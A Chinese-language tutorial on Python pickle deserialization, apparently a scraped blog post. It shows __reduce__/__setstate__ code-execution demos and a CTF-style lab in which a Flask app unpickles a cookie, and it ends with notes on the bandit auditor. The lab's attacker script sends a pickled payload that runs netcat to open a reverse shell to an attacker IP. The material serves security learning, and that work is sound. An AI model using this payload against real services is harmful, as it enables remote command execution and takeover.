Python-反序列化函数使用

pickle.dump(obj, file) : 将对象序列化后保存到文件

pickle.load(file) : 读取文件, 将文件中的序列化内容反序列化为对象

pickle.dumps(obj) : 将对象序列化成字符串格式的字节流

pickle.loads(bytes_obj) : 将字符串格式的字节流反序列化为对象

魔术方法:

reduce() 反序列化时调用

reduce_ex() 反序列化时调用

setstate() 反序列化时调用

getstate() 序列化时调用

各类语言函数:

Java: Serializable Externalizable接口、fastjson、jackson、gson、ObjectInputStream.read、ObjectObjectInputStream.readUnshared、XMLDecoder.read、ObjectYaml.loadXStream.fromXML、ObjectMapper.readValue、JSON.parseObject等

PHP: serialize()、 unserialize()

Python:pickle marshal PyYAML shelve PIL unzip

案例一:

import pickle

import os

\#反序列化魔术方法调用-__reduce__() __reduce_ex__() __setstate__()

class A(object):

def __reduce__(self):

print('反序列化调用')

return (os.system,('calc',))

a = A()

p_a = pickle.dumps(a)

pickle.loads(p_a)

print('==========')

print(p_a)

案例二:

class SerializePerson():

def __init__(self, name):

self.name = name

\# 构造 __setstate__ 方法

def __setstate__(self, name):

os.system('calc') # 恶意代码

tmp = pickle.dumps(SerializePerson('tom')) #序列化

pickle.loads(tmp) # 反序列化 此时会弹出计算器

Python-反序列化POP链构造

#CTF-反序列化漏洞利用-构造&RCE

环境介绍:利用Python-flask搭建的web应用,获取当前用户的信息,进行展示,在获取用户的信息时,通过对用户数据进行反序列化获取导致的安全漏洞!

-Server服务器:

import pickle

import base64

from flask import Flask, request

app = Flask(__name__)

@app.route("/")

def index():

try:

user = base64.b64decode(request.cookies.get('user'))

user = pickle.loads(user)

username = user["username"]

except:

username = "Guest"

return "Hello %s" % username

if __name__ == "__main__":

app.run(

host='192.168.1.3',

port=5000,

debug=True

)

服务器开启一个web服务

-Hacker服务器:

import requests

import pickle

import os

import base64

class exp(object):

def __reduce__(self):

s='c:/nc.exe -e cmd 192.168.46.137 6666'

return (os.system, (s,))

e = exp()

s = pickle.dumps(e)

print(s)

response = requests.get("http://192.168.1.3:5000/", cookies=dict(

user=base64.b64encode(s).decode()

))

print(response.content)



开启监听

攻击者执行反弹shell

Python-自动化审计bandit使用

参考:https://bandit.readthedocs.io/

安装:pip install bandit

linux:

安装后会在当前Python目录下bin

使用:bandit -r 需要审计的源码目录

windows:

安装后会在当前Python目录下script

使用:bandit -r 需要审计的源码目录

python 反序列化的更多相关文章

  1. python反序列化研究学习

    零.补充: 补充于2018-02-08,之前研究时候有一个疑惑,python的序列化成二进制,打web服务怎么传这个二进制对象呢,今天请教了身边大神(传说的九零后黑客代表),可以使用base64传输. ...

  2. 浅谈python反序列化漏洞

    最近看到p神一篇讲python反序列化的文章,结合redis未授权访问组合漏洞,感觉在flask和redis的构架中比较常见,便记录下来. p神原文:https://www.leavesongs.co ...

  3. Python 反序列化漏洞学习笔记

    参考文章 一篇文章带你理解漏洞之 Python 反序列化漏洞 Python Pickle/CPickle 反序列化漏洞 Python反序列化安全问题 pickle反序列化初探 前言 上面看完,请忽略下 ...

  4. Python反序列化 pickle

    # 若需要处理更复杂的数据, 用pickle. pickle只有在Python里能用, 其它语言不行. # 序列化. import pickle def sayhi(name): print('hel ...

  5. python反序列化

    import pickle import os class A(object): def __reduce__(self): a = """python -c 'impo ...

  6. python反序列化漏洞

    原理在网页源码中如果出现将用户输入数据进行反序列化当成参数输出时,出现漏洞,可造成任意命令执行例如网页源码try:       become = self.get_argument('become') ...

  7. BUUCTF-web ikun(Python 反序列化)

    正如本题所说,脑洞有点大.考点还很多,不过最核心的还是python的pickle反序列化漏洞 题目中暗示了要6级号,找了很多页都没看到,于是写了脚本 在第180页有6级号,但是价格出奇的高,明显买不起 ...

  8. python反序列化学习记录

    pickle与序列化和反序列化 官方文档 模块 pickle 实现了对一个 Python 对象结构的二进制序列化和反序列化. "pickling" 是将 Python 对象及其所拥 ...

  9. IKUN python 反序列化

    题目过程1.一开始提示说要买到V6,观察源码,发现/static/img/lv/lv4.png.注册之后尝试寻找V6.观察url发现/shop?page=2.尝试写脚本匹配一下.发现在第181页. i ...

  10. python反序列化1(__reduce__)

    part1:不求甚解的复现 对于服务端源码:    编写恶意序列化对象生成程序: 将生成的恶意序列化对象输入服务端user,使其执行系统命令.(上面那俩其实都行) part2:原理解释 b'xxx'是 ...

随机推荐

  1. async-validator 源码学习(一):文档翻译

    async-validator 是一个表单异步校验库,阿里旗下的 Ant-design 和 Element 组件库中的表单验证使用的都是 async-validator ,目前版本已更新到 4.0.7 ...

  2. LGP6144题解

    冲了50分钟外加10分钟厕所才冲出来,请问我还有救吗. 看上去像是金组题目的加强版,实际上是金组题目的魔改版. 还是考虑像弱化版那样按照左端点排序,并且记录答案的 \(0\sim k\) 次幂和. 然 ...

  3. Linux常用性能诊断命令详解

    top top命令动态地监视进程活动与系统负载等信息. 使用示例: top 效果如下图: 以上命令输出视图中分为两个区域,一个统计信息区,一个进程信息区. 统计信息区: 第一行信息依次为:系统时间.运 ...

  4. Sobel算子 Scharr算子 Laplacian算子

    图像梯度处理 Sobel算子 水平方向: 对于线条A和线条B,右侧像素值与左侧像素值的差值不为零,因此是边界 上下像素值差值为0,左右素值的差值不为零,分布为正负, 离的近的为2,离的远的为1 P5= ...

  5. Spring MVC 实验2-Bean的几种装配方式及基本用法

    实验二:Bean的几种装配方式及基本用法  实验目的: (1)掌握2种基于XML的装配方式:设值注入(Setter Injection)和构造注入(Constructor Injection) . ( ...

  6. Eclipse阿里云镜像源配置

    镜像下载.域名解析.时间同步请点击 阿里巴巴开源镜像站 一.什么是Eclipse Eclipse 是一个开放源代码的.基于 Java 的可扩展开发平台.就其本身而言,它只是一个框架和一组服务,用于通过 ...

  7. mongoDb入门并整合springboot

    镜像下载.域名解析.时间同步请点击 阿里巴巴开源镜像站 MongoDb简介 MongoDb是一种非关系型数据库,是现在非常火热的noSQL.也被称为文档性数据库.(可存放json,xml等格式) mo ...

  8. [SPDK/NVMe存储技术分析]001 - SPDK/NVMe概述

    1. NVMe概述 NVMe是一个针对基于PCIe的固态硬盘的高性能的.可扩展的主机控制器接口. NVMe的显著特征是提供多个队列来处理I/O命令.单个NVMe设备支持多达64K个I/O 队列,每个I ...

  9. 通过TCP Allocate连接数告警了解promethous-NodeExporter数据采集及相关知识扩散

    1.问题由来 近日有环境告警如下:TCP Allocate连接数过多 很多资料告诉我们使用:netstat –ant | grep ^tcp | wc –l命令查询,但查询的值与告警中获取的只相差很大 ...

  10. Python 远程开发环境部署与调试

    一.下载相应开发工具 Pycharm :下载地址  二.部署开发机 一般在工作过程中,开发环境并不是本地环境,而是指在开发机:因为,有很多依赖本地部署非常麻烦,而开发机中则内置了很多相关的服务 三.代 ...